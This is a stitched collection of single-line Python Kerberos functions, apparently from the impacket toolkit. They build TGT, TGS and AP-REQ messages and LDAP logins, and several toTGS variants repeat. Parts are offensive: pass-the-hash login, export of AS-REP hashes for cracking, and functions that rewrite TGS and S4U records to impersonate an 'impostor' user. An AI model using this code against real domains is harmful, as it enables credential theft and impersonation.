def getTGT(self, userName, requestPAC=True): clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value) asReq = AS_REQ() domain = self.__domain.upper() serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = requestPAC encodedPacRequest = encoder.encode(pacRequest) asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = noValue asReq['padata'][0] = noValue asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][0]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) if domain == '': raise Exception('Empty Domain not allowed in Kerberos') reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) try: r = sendReceive(message, domain, self.__kdcHost) except KerberosError, e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # RC4 not available, OK, let's ask for newer types supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) r = sendReceive(message, domain, self.__kdcHost) else: raise e
def toTGS(self): tgs_rep = TGS_REP() tgs_rep['pvno'] = 5 tgs_rep['msg-type'] = int( constants.ApplicationTagNumbers.TGS_REP.value) tgs_rep['crealm'] = self['server'].realm['data'] # Fake EncryptedData tgs_rep['enc-part'] = None tgs_rep['enc-part']['etype'] = 1 tgs_rep['enc-part']['cipher'] = '' seq_set(tgs_rep, 'cname', self['client'].toPrincipal().components_to_asn1) ticket = types.Ticket() ticket.from_asn1(self.ticket['data']) seq_set(tgs_rep, 'ticket', ticket.to_asn1) cipher = crypto._enctype_table[self['key']['keytype']]() tgs = dict() tgs['KDC_REP'] = encoder.encode(tgs_rep) tgs['cipher'] = cipher tgs['sessionKey'] = crypto.Key(cipher.enctype, str(self['key']['keyvalue'])) return tgs
def toTGS(self, newSPN=None): tgs_rep = TGS_REP() tgs_rep['pvno'] = 5 tgs_rep['msg-type'] = int( constants.ApplicationTagNumbers.TGS_REP.value) tgs_rep['crealm'] = self['server'].realm['data'] # Fake EncryptedData tgs_rep['enc-part'] = None tgs_rep['enc-part']['etype'] = 1 tgs_rep['enc-part']['cipher'] = '' seq_set(tgs_rep, 'cname', self['client'].toPrincipal().components_to_asn1) ticket = types.Ticket() ticket.from_asn1(self.ticket['data']) if newSPN is not None: if newSPN.upper() != str(ticket.service_principal).upper(): LOG.debug( 'Changing sname from %s to %s and hoping for the best' % (ticket.service_principal, newSPN)) ticket.service_principal = types.Principal( newSPN, type=int(ticket.service_principal.type)) seq_set(tgs_rep, 'ticket', ticket.to_asn1) cipher = crypto._enctype_table[self['key']['keytype']]() tgs = dict() tgs['KDC_REP'] = encoder.encode(tgs_rep) tgs['cipher'] = cipher tgs['sessionKey'] = crypto.Key(cipher.enctype, str(self['key']['keyvalue'])) return tgs
def to_asn1(self, component): component.setComponentByName('tkt-vno', 5) component.setComponentByName('realm', self.service_principal.realm) asn1.seq_set(component, 'sname', self.service_principal.components_to_asn1) asn1.seq_set(component, 'enc-part', self.encrypted_part.to_asn1) return component
def toTGS(self, newSPN=None): tgs_rep = TGS_REP() tgs_rep['pvno'] = 5 tgs_rep['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REP.value) tgs_rep['crealm'] = self['server'].realm['data'] # Fake EncryptedData tgs_rep['enc-part'] = noValue tgs_rep['enc-part']['etype'] = 1 tgs_rep['enc-part']['cipher'] = '' seq_set(tgs_rep, 'cname', self['client'].toPrincipal().components_to_asn1) ticket = types.Ticket() ticket.from_asn1(self.ticket['data']) if newSPN is not None: if newSPN.upper() != str(ticket.service_principal).upper(): LOG.debug('Changing sname from %s to %s and hoping for the best' % (ticket.service_principal, newSPN) ) ticket.service_principal = types.Principal(newSPN, type=int(ticket.service_principal.type)) seq_set(tgs_rep,'ticket', ticket.to_asn1) cipher = crypto._enctype_table[self['key']['keytype']]() tgs = dict() tgs['KDC_REP'] = encoder.encode(tgs_rep) tgs['cipher'] = cipher tgs['sessionKey'] = crypto.Key(cipher.enctype, str(self['key']['keyvalue'])) return tgs
def mod_tgs_rep_user(data, reply_user): try: tgs = decoder.decode(data, asn1Spec=TGS_REP())[0] except: print('Record is not a TGS-REP') return '' cname = Principal(reply_user, type=TYPE) seq_set(tgs, 'cname', cname.components_to_asn1) return bytes(encoder.encode(tgs))
def build_apreq(domain, kdc, tgt, username, serviceclass, hostname): # Build a protocol agnostic AP-REQ using the TGT we have, wrapped in GSSAPI/SPNEGO username = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) servername = Principal('%s/%s' % (serviceclass, hostname), type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, _, sessionkey = getKerberosTGS(servername, domain, kdc, tgt['KDC_REP'], tgt['cipher'], tgt['sessionKey']) # Let's build a NegTokenInit with a Kerberos AP_REQ blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = [] apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', username.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionkey, 11, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = encoder.encode(apReq) return blob.getData()
def process_s4u2else_req(data, impostor): try: tgs = decoder.decode(data, asn1Spec=TGS_REQ())[0] except: print('Record is not a TGS-REQ') return '' pa_tgs_req = pa_for_user = None for pa in tgs['padata']: if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_TGS_REQ.value: pa_tgs_req = pa elif pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_FOR_USER.value: pa_for_user = pa if not pa_tgs_req or not pa_for_user: print('TGS request is not S4U') return '' tgs['padata'] = noValue tgs['padata'][0] = pa_tgs_req try: for_user_obj = decoder.decode(pa_for_user['padata-value'], asn1Spec=PA_FOR_USER_ENC())[0] except: print('Failed to decode PA_FOR_USER!') return '' S4UByteArray = struct.pack('<I', TYPE) S4UByteArray += impostor + str(for_user_obj['userRealm']) + 'Kerberos' cs = (~crc32(S4UByteArray, 0xffffffff)) & 0xffffffff cs = struct.pack('<I', cs) clientName = Principal(impostor, type=TYPE) seq_set(for_user_obj, 'userName', clientName.components_to_asn1) for_user_obj['cksum'] = noValue for_user_obj['cksum']['cksumtype'] = Cksumtype.CRC32 for_user_obj['cksum']['checksum'] = cs pa_for_user['padata-value'] = encoder.encode(for_user_obj) tgs['padata'][1] = pa_for_user return bytes(encoder.encode(tgs))
def toTGS(self): tgs_rep = TGS_REP() tgs_rep['pvno'] = 5 tgs_rep['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REP.value) tgs_rep['crealm'] = self['server'].realm['data'] # Fake EncryptedData tgs_rep['enc-part'] = None tgs_rep['enc-part']['etype'] = 1 tgs_rep['enc-part']['cipher'] = '' seq_set(tgs_rep, 'cname', self['client'].toPrincipal().components_to_asn1) ticket = types.Ticket() ticket.from_asn1(self.ticket['data']) seq_set(tgs_rep,'ticket', ticket.to_asn1) cipher = crypto._enctype_table[self['key']['keytype']]() tgs = dict() tgs['KDC_REP'] = encoder.encode(tgs_rep) tgs['cipher'] = cipher tgs['sessionKey'] = crypto.Key(cipher.enctype, str(self['key']['keyvalue'])) return tgs
def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True): # Convert to binary form, just in case we're receiving strings if isinstance(lmhash, str): try: lmhash = unhexlify(lmhash) except TypeError: pass if isinstance(nthash, str): try: nthash = unhexlify(nthash) except TypeError: pass if isinstance(aesKey, str): try: aesKey = unhexlify(aesKey) except TypeError: pass asReq = AS_REQ() domain = domain.upper() serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = requestPAC encodedPacRequest = encoder.encode(pacRequest) asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = noValue asReq['padata'][0] = noValue asReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][0]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) if domain == '': raise Exception('Empty Domain not allowed in Kerberos') reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = rand.getrandbits(31) # Yes.. this shouldn't happen but it's inherited from the past if aesKey is None: aesKey = b'' if nthash == b'': # This is still confusing. I thought KDC_ERR_ETYPE_NOSUPP was enough, # but I found some systems that accepts all ciphers, and trigger an error # when requesting subsequent TGS :(. More research needed. # So, in order to support more than one cypher, I'm setting aes first # since most of the systems would accept it. If we're lucky and # KDC_ERR_ETYPE_NOSUPP is returned, we will later try rc4. if aesKey != b'': if len(aesKey) == 32: supportedCiphers = (int( constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), ) else: supportedCiphers = (int( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), ) else: supportedCiphers = (int( constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), ) else: # We have hashes to try, only way is to request RC4 only supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value), ) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) try: r = sendReceive(message, domain, kdcHost) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: if supportedCiphers[0] in ( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value ) and aesKey == '': supportedCiphers = (int( constants.EncryptionTypes.rc4_hmac.value), ) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) r = sendReceive(message, domain, kdcHost) else: raise else: raise # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the # 'Do not require Kerberos preauthentication' set preAuth = True try: asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0] except: # Most of the times we shouldn't be here, is this a TGT? asRep = decoder.decode(r, asn1Spec=AS_REP())[0] # Yes preAuth = False encryptionTypesData = dict() salt = '' if preAuth is False: # In theory, we should have the right credentials for the etype specified before. methods = asRep['padata'] encryptionTypesData[supportedCiphers[ 0]] = salt # handle RC4 fallback, we don't need any salt tgt = r else: methods = decoder.decode(asRep['e-data'], asn1Spec=METHOD_DATA())[0] for method in methods: if method[ 'padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etypes2 = decoder.decode(method['padata-value'], asn1Spec=ETYPE_INFO2())[0] for etype2 in etypes2: try: if etype2['salt'] is None or etype2['salt'].hasValue( ) is False: salt = '' else: salt = etype2['salt'].prettyPrint() except PyAsn1Error: salt = '' encryptionTypesData[etype2['etype']] = b(salt) elif method[ 'padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO.value: etypes = decoder.decode(method['padata-value'], asn1Spec=ETYPE_INFO())[0] for etype in etypes: try: if etype['salt'] is None or etype['salt'].hasValue( ) is False: salt = '' else: salt = etype['salt'].prettyPrint() except PyAsn1Error: salt = '' encryptionTypesData[etype['etype']] = b(salt) enctype = supportedCiphers[0] cipher = _enctype_table[enctype] # Pass the hash/aes key :P if nthash != b'' and (isinstance(nthash, bytes) and nthash != b''): key = Key(cipher.enctype, nthash) elif aesKey != b'': key = Key(cipher.enctype, aesKey) else: key = cipher.string_to_key(password, encryptionTypesData[enctype], None) if preAuth is True: if enctype in encryptionTypesData is False: raise Exception('No Encryption Data Available!') # Let's build the timestamp timeStamp = PA_ENC_TS_ENC() now = datetime.datetime.utcnow() timeStamp['patimestamp'] = KerberosTime.to_asn1(now) timeStamp['pausec'] = now.microsecond # Encrypt the shyte encodedTimeStamp = encoder.encode(timeStamp) # Key Usage 1 # AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the # client key (Section 5.2.7.2) encriptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None) encryptedData = EncryptedData() encryptedData['etype'] = cipher.enctype encryptedData['cipher'] = encriptedTimeStamp encodedEncryptedData = encoder.encode(encryptedData) # Now prepare the new AS_REQ again with the PADATA # ToDo: cannot we reuse the previous one? asReq = AS_REQ() asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = noValue asReq['padata'][0] = noValue asReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value) asReq['padata'][0]['padata-value'] = encodedEncryptedData asReq['padata'][1] = noValue asReq['padata'][1]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][1]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = rand.getrandbits(31) seq_set_iter(reqBody, 'etype', ((int(cipher.enctype), ))) try: tgt = sendReceive(encoder.encode(asReq), domain, kdcHost) except Exception as e: if str(e).find('KDC_ERR_ETYPE_NOSUPP') >= 0: if lmhash == b'' and nthash == b'' and (aesKey == b'' or aesKey is None): from impacket.ntlm import compute_lmhash, compute_nthash lmhash = compute_lmhash(password) nthash = compute_nthash(password) return getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey, kdcHost, requestPAC) raise asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] # So, we have the TGT, now extract the new session key and finish cipherText = asRep['enc-part']['cipher'] if preAuth is False: # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it. LOG.debug('$krb5asrep$%d$%s@%s:%s$%s' % (asRep['enc-part']['etype'], clientName, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]), hexlify(asRep['enc-part']['cipher'].asOctets()[16:]))) # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) try: plainText = cipher.decrypt(key, 3, cipherText) except InvalidChecksum as e: # probably bad password if preauth is disabled if preAuth is False: error_msg = "failed to decrypt session key: %s" % str(e) raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText) raise encASRepPart = decoder.decode(plainText, asn1Spec=EncASRepPart())[0] # Get the session key and the ticket # We're assuming the cipher for this session key is the same # as the one we used before. # ToDo: change this sessionKey = Key(cipher.enctype, encASRepPart['key']['keyvalue'].asOctets()) # ToDo: Check Nonces! return tgt, cipher, key, sessionKey
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: True, raises a LDAPSessionError if error. """ if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0%s' % lmhash if len(nthash) % 2: nthash = '0%s' % nthash try: # just in case they were converted already lmhash = unhexlify(lmhash) nthash = unhexlify(nthash) except: pass # Importing down here so pyasn1 is not required if kerberos is not used. from impacket.krb5.ccache import CCache from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS from impacket.krb5 import constants from impacket.krb5.types import Principal, KerberosTime, Ticket from pyasn1.codec.der import decoder, encoder import datetime if TGT is not None or TGS is not None: useCache = False if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: # No cache present pass else: # retrieve user and domain information from CCache file if needed if user == '' and len(ccache.principal.components) > 0: user = ccache.principal.components[0]['data'] if domain == '': domain = ccache.principal.realm['data'] LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'ldap/%s@%s' % (self._dstHost.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS() LOG.debug('Using TGS from cache') # First of all, we need to get a TGT for the user userName = Principal( user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) if TGT is None: if TGS is None: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, password, domain, lmhash, nthash, aesKey, kdcHost) else: tgt = TGT['KDC_REP'] cipher = TGT['cipher'] sessionKey = TGT['sessionKey'] if TGS is None: serverName = Principal( 'ldap/%s' % self._dstHost, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, domain, kdcHost, tgt, cipher, sessionKey) else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] sessionKey = TGS['sessionKey'] # Let's build a NegTokenInit with a Kerberos REQ_AP blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator'] = None apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = encoder.encode(apReq) # Done with the Kerberos saga, now let's get into LDAP bindRequest = BindRequest() bindRequest['version'] = Integer7Bit(3) bindRequest['name'] = LDAPDN(user) credentials = SaslCredentials() credentials['mechanism'] = LDAPString('GSS-SPNEGO') credentials['credentials'] = Credentials(blob.getData()) bindRequest['authentication'] = AuthenticationChoice( ).setComponentByName('sasl', credentials) resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp'] if resp['bindResponse']['resultCode'] != 0: raise LDAPSessionError( errorString='Error in bindRequest -> %s:%s' % (resp['bindResponse']['resultCode'].prettyPrint(), resp['bindResponse']['diagnosticMessage'])) return True
def getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey): # Decode the TGT try: decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0] except: decodedTGT = decoder.decode(tgt, asn1Spec = TGS_REP())[0] domain = domain.upper() # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq,'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1( decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = None apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = None tgsReq['padata'][0] = None tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq reqBody = seq_set(tgsReq, 'req-body') opts = list() opts.append( constants.KDCOptions.forwardable.value ) opts.append( constants.KDCOptions.renewable.value ) opts.append( constants.KDCOptions.renewable_ok.value ) opts.append( constants.KDCOptions.canonicalize.value ) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', ( int(constants.EncryptionTypes.rc4_hmac.value), int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), int(cipher.enctype) ) ) message = encoder.encode(tgsReq) r = sendReceive(message, domain, kdcHost) # Get the session key tgs = decoder.decode(r, asn1Spec = TGS_REP())[0] cipherText = tgs['enc-part']['cipher'] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(sessionKey, 8, str(cipherText)) encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0] newSessionKey = Key(encTGSRepPart['key']['keytype'], str(encTGSRepPart['key']['keyvalue'])) # Creating new cipher based on received keytype cipher = _enctype_table[encTGSRepPart['key']['keytype']] # Check we've got what we asked for res = decoder.decode(r, asn1Spec = TGS_REP())[0] spn = Principal() spn.from_asn1(res['ticket'], 'realm', 'sname') if spn.components[0] == serverName.components[0]: # Yes.. bye bye return r, cipher, sessionKey, newSessionKey else: # Let's extract the Ticket, change the domain and keep asking domain = spn.components[1] return getKerberosTGS(serverName, domain, kdcHost, r, cipher, newSessionKey) return r, cipher, sessionKey, newSessionKey
def LDAP3KerberosLogin(self, connection, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): from pyasn1.codec.ber import encoder, decoder from pyasn1.type.univ import noValue """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: True, raises an Exception if error. """ if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0' + lmhash if len(nthash) % 2: nthash = '0' + nthash try: # just in case they were converted already lmhash = unhexlify(lmhash) nthash = unhexlify(nthash) except TypeError: pass # Importing down here so pyasn1 is not required if kerberos is not used. from impacket.krb5.ccache import CCache from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS from impacket.krb5 import constants from impacket.krb5.types import Principal, KerberosTime, Ticket import datetime if TGT is not None or TGS is not None: useCache = False if useCache: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except Exception as e: # No cache present print(e) pass else: # retrieve domain information from CCache file if needed if domain == '': domain = ccache.principal.realm['data'].decode('utf-8') logging.debug('Domain retrieved from CCache: %s' % domain) logging.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME')) principal = 'ldap/%s@%s' % (self.__target.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() logging.debug('Using TGT from cache') else: logging.debug('No valid credentials found in cache') else: TGS = creds.toTGS(principal) logging.debug('Using TGS from cache') # retrieve user information from CCache file if needed if user == '' and creds is not None: user = creds['client'].prettyPrint().split(b'@')[0] logging.debug('Username retrieved from CCache: %s' % user) elif user == '' and len(ccache.principal.components) > 0: user = ccache.principal.components[0]['data'] logging.debug('Username retrieved from CCache: %s' % user) # First of all, we need to get a TGT for the user userName = Principal( user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) if TGT is None: if TGS is None: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, password, domain, lmhash, nthash, aesKey, kdcHost) else: tgt = TGT['KDC_REP'] cipher = TGT['cipher'] sessionKey = TGT['sessionKey'] if TGS is None: serverName = Principal( 'ldap/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, domain, kdcHost, tgt, cipher, sessionKey) else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] sessionKey = TGS['sessionKey'] # Let's build a NegTokenInit with a Kerberos REQ_AP blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = [] apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = encoder.encode(apReq) request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', blob.getData()) # Done with the Kerberos saga, now let's get into LDAP if connection.closed: # try to open connection if closed connection.open(read_server_info=False) connection.sasl_in_progress = True response = connection.post_send_single_response( connection.send('bindRequest', request, None)) connection.sasl_in_progress = False if response[0]['result'] != 0: raise Exception(response) connection.bound = True return True
